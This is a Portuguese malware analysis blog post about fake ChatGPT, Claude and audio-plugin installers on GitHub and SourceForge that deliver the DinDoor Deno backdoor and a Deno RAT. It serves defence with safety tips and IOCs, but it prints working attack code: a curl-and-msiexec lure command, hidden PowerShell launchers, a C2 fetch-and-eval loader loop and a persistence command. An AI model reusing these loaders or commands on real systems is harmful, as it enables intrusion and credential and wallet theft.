Software falso no GitHub e no SourceForge distribui o Deno RAT 

| 26 de maio de 2026
Lobo em pele de cordeiro

Durante as nossas atividades de deteção de ameaças, descobrimos instaladores e plugins falsos que se faziam passar por software popular, incluindo o ChatGPT, o Claude, o AutoTune e o Kontakt, no GitHub e no SourceForge, e que distribuíam um backdoor Deno conhecido como DinDoor. Os atacantes estão a utilizar YouTube comprometidos para distribuir links para estas plataformas. 

O DinDoor acaba por instalar vários tipos de malware, incluindo um trojan de acesso remoto (RAT) furtivo, que também utiliza o ambiente de execução JavaScript Deno.  

Os atacantes estão cada vez mais a recorrer a ambientes de execução alternativos de JavaScript, como o Bun e o Deno, para contornar os métodos tradicionais de deteção. Numa das nossas investigações recentes, documentámos como os atacantes estão a utilizar o Bun como vetor de infeção inicial para distribuir o NWHStealer. E, em março, ThreatDown também observaram atacantes a utilizar o Deno para distribuir o CastleLoader através de uma cadeia de infeção em várias fases que envolvia o isco ClickFix.  

Estas campanhas utilizam o Scoop (um gestor de instalação alternativo para Windows) e o WinGet (o gestor Windows oficial Windows ) para instalar o Deno no computador da vítima. Em seguida, utilizam o ambiente de execução do Deno para executar um RAT capaz de executar cargas úteis adicionais, extraindo dados de navegadores, carteiras digitais e outras aplicações, o qual possui uma funcionalidade interessante de ponto a ponto que utiliza Edge ocultar o tráfego malicioso. 

Plataformas legítimas utilizadas indevidamente para propagar malware

Na maioria dos casos analisados, a cadeia de infecção é normalmente iniciada através deficheiros MSIouscripts do PowerShelldescarregados do GitHub ou do SourceForge. Os utilizadores são geralmente redirecionados para estes repositórios maliciosos através deYouTube comprometidos. Estes vídeos somam atualmente mais de 50 000 visualizações. 

YouTube comprometidos com vídeos gerados por IA 
YouTube comprometidos com vídeos gerados por IA 

YouTube comprometidos publicam conteúdos que promovem diversos programas e alternam constantemente entre contas do GitHub para distribuir o malware. 

YouTube com links para os repositórios maliciosos do GitHub
YouTube com links para os repositórios maliciosos do GitHub

O software falso parece ter sido concebido para visar criadores, entusiastas da IA, jogadores e utilizadores com conhecimentos técnicos, que são mais propensos a descarregar ferramentas não oficiais, software pirateado ou instaladores distribuídos pela comunidade a partir de sites como o GitHub e o SourceForge. Observámos MSIs e scripts falsos que se fazem passar por instaladores e plugins de software e marcas legítimas, tais como ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune e Kontakt. 

Repositório GitHub para o instalador falso do ChatGPT
Repositório do GitHub para o instalador falso do ChatGPT 

Os repositórios maliciosos contêm um comando tanto para Windows para o macOS. Estes repositórios pedem aos utilizadores que abram o terminal e copiem um comando malicioso, que descarrega e executa o ficheiro MSI a partir do GitHub. 

Plugin falso que solicita ao utilizador que copie e execute o comando malicioso 
Plugin falso que pede ao utilizador para copiar e executar o comando malicioso 

Contas maliciosas no GitHub criam vários repositórios repletos de software falso e plugins relacionados com software popular, com o objetivo de atrair mais utilizadores. 

Conta no GitHub com vários repositórios maliciosos
Conta no GitHub com vários repositórios maliciosos

Descobrimos que essa mesma porta traseira foi distribuída através do SourceForge, fazendo-se passar por um software de jogos legítimo chamado GearUP e por um software de remoção de marcas de água baseado em IA chamado BWR. 

Os ficheiros MSI maliciosos alojados no SourceForge

Como se manter seguro  

Os atacantes aproveitaram-se em grande medida da confiança dos utilizadores. O GitHub e o SourceForge são plataformas legítimas, o que torna os projetos falsos mais convincentes. Entrámos em contacto com o GitHub, que removeu rapidamente os repositórios maliciosos, mas os utilizadores devem estar cientes de que continuarão a surgir novos.

Eis algumas formas simples de se manter em segurança:  

  • Descarregue software apenas a partir dos sites oficiais dos fornecedores.  
  • Desconfie de versões «gratuitas», pirateadas ou não oficiais de software pago. 
  • Tenha cuidado com os downloads do GitHub, SourceForge, fóruns ou sites de partilha de ficheiros, especialmente se forem provenientes de contas novas ou desconhecidas. 
  • Os atacantes continuam a criar novos perfis para distribuir este malware em várias plataformas.  Verifique o perfil do programador ou editor, a sua reputação e há quanto tempo foi criado antes de descarregar qualquer coisa. 
  • Verifique se o conteúdo do arquivo, as imagens e os ficheiros de texto correspondem ao que esperava descarregar. Os nomes e as estruturas dos arquivos seguem frequentemente padrões maliciosos facilmente reconhecíveis.  
  • Verifique o editor do ficheiro e a assinatura digital antes de o executar. Windows, normalmente pode verificar isso clicando com o botão direito do rato no ficheiro e selecionando Propriedades > Assinaturas digitais. Tenha em conta que uma assinatura válida não garante que um ficheiro seja seguro, mas a ausência de assinaturas ou a presença de assinaturas suspeitas são frequentemente um sinal de alerta. 

Análise técnica 

Os repositórios maliciosos do GitHub pedem ao utilizador para abrir o cmd e executar um comando malicioso. Os comandos maliciosos descarregam um ficheiro MSI do GitHub e instalam-no através de msiexec. Estes repositórios contêm, por vezes, também scripts do PowerShell para iniciar, de forma semelhante, a cadeia de infeção. 

Exemplo de um comando malicioso alojado no GitHub que dá início à cadeia de infeção: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

O MSI coloca um ficheiro CMD e um script do PowerShell num diretório aleatório especificado no MSI InstallationFolder e valores do registo. Detetámos diferentes estruturas para estes MSI, com JavaScript em vez do ficheiro CMD, ou com ficheiros incorporados adicionais.

Os ficheiros «Ps1File» e «CmdFile» contidos no dropper MSI
Os ficheiros «Ps1File» e «CmdFile» contidos no dropper MSI

O ficheiro CMD executa o script do PowerShell, cujo nome varia nas cadeias de infeção analisadas: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

O script do PowerShell executado
O script do PowerShell executado

O script do PowerShell encarrega-se de: 

  • Certifique-se de que o gestor de pacotes Scoop está instalado e, caso não esteja, instale-o utilizando o script oficial disponível em get.scoop.sh. O Scoop é um popular instalador de software e gestor de pacotes de código aberto para a linha de comandos do Microsoft Windows. 
  • Utilizar o Scoop para instalar o WinGet (GestorWindows ), caso este não esteja instalado.  
  • Instala o Deno (um ambiente de execução de JavaScript/TypeScript) através do WinGet ou do Scoop, caso ainda não esteja instalado.

A utilização dos gestores de pacotes Scoop e WinGet para instalar software adicional na máquina comprometida é uma abordagem interessante que confere maior flexibilidade ao atacante. 

Comando executado para instalar o Deno utilizando o WinGet: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

A porta traseira DinDoor 

Em seguida, executa-se a etapa seguinte com o executável Deno descarregado: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

O código devolvido (cujo nome interno é «launcher-1») é uma pequena função em ciclo de avaliação que descarrega a fase seguinte (cujo nome interno é «launcher-2»). O backdoor descarregado é conhecido publicamente comoDinDoor

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

O backdoor garante a persistência, envia informações sobre o sistema comprometido para o servidor de comando e controlo (C2) e executa cargas úteis adicionais e comandos recebidos do C2. Os pontos de extremidade HTTP utilizados para as comunicações C2 variam entre os casos analisados.  

A porta traseira obtém um ID de um ponto de extremidade HTTP (por exemplo, /security-pool) e, em seguida, utiliza esse ID para obter a fase seguinte a partir de /v2{ID}.js.   

A etapa obtida é executada através de stdin sem ser gravado no disco, utilizando o comando: 

deno run -A --no-check –

Para garantir a persistência, o backdoor executa um comando PowerShell para criar uma chave RUN que executa o programa de download «launcher-1», utilizado anteriormente: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

Nos casos analisados, este backdoor distribui várias famílias de malware. Neste blogue, analisamos uma das cargas úteis distribuídas: um RAT que utiliza o ambiente de execução JavaScript Deno. 

Deno RAT 

O RAT distribuído, tal como os outros scripts analisados, utiliza o ambiente JavaScript Deno e dispõe de todas as funcionalidades necessárias para controlar o dispositivo, executar comandos e cargas úteis, bem como extrair vários tipos de dados através do seu módulo de roubo de dados integrado.  

Não encontrámos um nome específico nem qualquer atribuição para este RAT. No passado, o RAT foi referido como «Smokest», com base num valor específico na configuração. O estilo de comentários semelhante e a infraestrutura partilhada sugerem que o programador do DinDoor e o programador do RAT possam ser a mesma pessoa ou equipa. 



Para além do HTTP para a comunicação C2, o RAT também suporta WebSocket comunicação, ativada quando o valor JSON isLiveEnabled o valor devolvido pela função C2 está definido como verdadeiro. 

A principal função do Deno RAT
A principal função do Deno RAT

O RAT suporta vários comandos (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) e funcionalidade: 

  • Recolher informações do sistema sobre o dispositivo comprometido 
  • Controlo bidirecional total através de uma implementação personalizada do VNC via WebSocket 
  • Abrange mais de 50 extensões de carteiras de criptomoedas e 10 pastas de software de criptomoedas, tais como Atomic Wallet, Exodus, Electrum e ByteCoin
  • Recolher dados de navegadores como Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser e Chromodo 
  • Extrair dados do Telegram, Discord e Lightcord 
  • Registar e alterar os dados da área de transferência  
  • Listar pastas e ficheiros e extrair o conteúdo de ficheiros com extensões específicas  
  • Capturar imagens do ecrã utilizando diferentes métodos  
  • Executar cargas úteis adicionais  
  • Iniciar ou encerrar processos arbitrários  
  • Executar comandos com o PowerShell  
  • Estabelecer túneis de proxy SOCKS5 através do WebSocket 

Uma das características mais interessantes do RAT é um modo de transmissão ponto a ponto que utiliza o Edge para ocultar o tráfego e dificultar a deteção.

Para transmitir vídeo em direto diretamente para o operador sem o encaminhar através do servidor C2, o RAT inicia um Edge oculto Edge Microsoft Edge e liga-se a ele através do Protocolo Chrome (CDP). Em seguida, injeta uma pequena página HTML WebRTC no Edge, transformando o navegador legítimo num retransmissor de vídeo ponto a ponto. O agente Deno captura e codifica a ecrã da vítima em H.264, passa os fotogramas para a Edge através do CDP, e Edge diretamente para o navegador do operador através de um WebRTC DataChannel encriptado. A sinalização SDP e ICE, necessária para estabelecer a ligação direta, é trocada através do WebSocket C2 existente. 

A página HTML inserida no Edge
A página HTML inserida no Edge  

O RAT utiliza os seguintes pontos de extremidade para a comunicação C2, que podem variar entre as amostras: 

  • /health: verifica a resposta «ok» do C2 
  • /token: receber parâmetros de configuração, execução de tarefas, resultados e dados extraídos 
  • /vnc/agent/: Caminho WebSocket utilizado para a comunicação VNC 

Os dados de configuração estão codificados em Base64 e são enviados nas comunicações com o C2 como um token de autorização. Dados de configuração descodificados: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Encontrámos diferentes versões deste RAT, incluindo uma versão «light» denominada «agent-lite», que suporta apenas alguns comandos e utiliza o Cloudflare Workers para a comunicação C2. 

A versão «light» do RAT
A versão «light» do RAT

 

Agradecimentos 

Indicadores de compromisso (IOCs) 

URLs 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Domínios 

  • claudescript[.]top: site de distribuição 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

IPs 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

Não nos limitamos a comunicar as ameaças - eliminamo-las

Os riscos de cibersegurança nunca se devem propagar para além de uma manchete. Mantenha as ameaças longe dos seus dispositivos descarregando Malwarebytes hoje mesmo.

Sobre o autor

O Gabriele é um engenheiro de investigação de malware que adora combater o malware. Quando não está a fazer isso, pode encontrá-lo a desfrutar da natureza, da arte e dos animais.